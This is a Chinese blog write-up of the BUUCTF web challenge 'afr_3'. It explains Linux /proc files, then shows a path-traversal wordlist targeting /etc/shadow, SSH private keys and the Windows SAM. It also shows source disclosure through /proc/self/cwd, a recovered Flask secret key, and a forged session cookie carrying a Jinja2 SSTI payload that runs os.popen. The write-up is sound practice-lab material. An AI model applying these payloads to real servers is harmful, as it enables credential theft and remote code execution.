buuctf 刷题记录 [第一章 web入门]afr_3

buuctf 刷题记录 [第一章 web入门]afr_3

考点:本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

关于/proc/目录

Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

/proc/[pid]—当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示

ok,相关信息介绍到这,接下来开始正式getshell

文件读取

RiFQCd.png
开始界面只有一个输入框

随便输入写什么东西就会返回一个包含article的页面

RiFZDK.png

读取一下flag试试

RiFJDf.png

没有权限

那么在这种时候可以读取什么呢

可以直接fuzzer一下
RiF6bT.png

RiF5x1.png
除了我选择的那条数据外,其他的都是
RiFTr6.png

字典目录:

..\..\..\..\..\..\..\..\..\..\boot.ini 
..\..\..\..\..\..\..\..\..\..\Windows\System32\inetsrv\MetaBase.xml 
..\..\..\..\..\..\..\..\..\..\Windows\repair\sam 
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\my.ini 
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\data\mysql\user.MYD 
..\..\..\..\..\..\..\..\..\..\Windows\php.ini 
..\..\..\..\..\..\..\..\..\..\Windows\my.ini 
../../../../../../../../root/.ssh/authorized_keys
../../../../../../../../root/.ssh/id_rsa
../../../../../../../../root/.ssh/id_rsa.keystore
../../../../../../../../root/.ssh/known_hosts
../../../../../../../../etc/passwd 
../../../../../../../../etc/shadow 
../../../../../../../../etc/my.cnf 
../../../../../../../../etc/httpd/conf/httpd.conf 
../../../../../../../../root/.bash_history 
../../../../../../../../root/.mysql_history 
../../../../../../../../proc/self/fd/fd[0-9]*
../../../../../../../../proc/mounts
../../../../../../../../proc/config.gz
../../../../../proc/self/cmdline

其中还包含了一部分Windows的

根据../../../../../proc/self/cmdline得出的信息可以知道
当前正在运行pythonserver.py

到这里其实就该想到了利用python的flask进行模板ssti注入,从而读取flag

参考:

从零学习flask模板注入

那么现在根据/proc/的特性,可以读取正在运行的pythonserver.py的源码

name=../../../../../proc/self/cwd/server.py

RikloF.png
原理是使用proc指定self代表当前进程,然后cwd指向运行的文件pythonserver.py

python代码虽然一坨了,但是还是可以看出大致逻辑的

可以看到执行了flag.pykey.py

RiAClR.png
好吧,没有权限

SSTI

接下来考虑的是怎么样获得权限,去读取flag
先读一下key得到如下信息

RiAIHK.png

#!/usr/bin/python

key = 'Drmhze6EPcv0fN_81Bj-nA'

接下来使用flask_session_cookie_manager3去伪造cookie读flag

ssti代码:
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

ps:我感觉这些ssti的payload好像啊

注意,这里使用的是python2的ssti代码

python3的ssti中的类的数量和python2不一样

python3的ssti格式(与本题无关,本题是python2的)

{{''.__class__.__mro__[1].__subclasses__()}}

继续本题

使用flask_session_cookie_manager3生成payload

python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

-s 指的是加密密钥
-t 指的是加密密文(ssti)

payload:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YM4agQ.nUmKAGlhSriciQXZZ_7z8GdRwOI

Riel8g.png
额。。。。这是什么情况。。不了解

posted @ 2021-06-20 00:54  MuRKuo  阅读(1467)  评论(2编辑  收藏  举报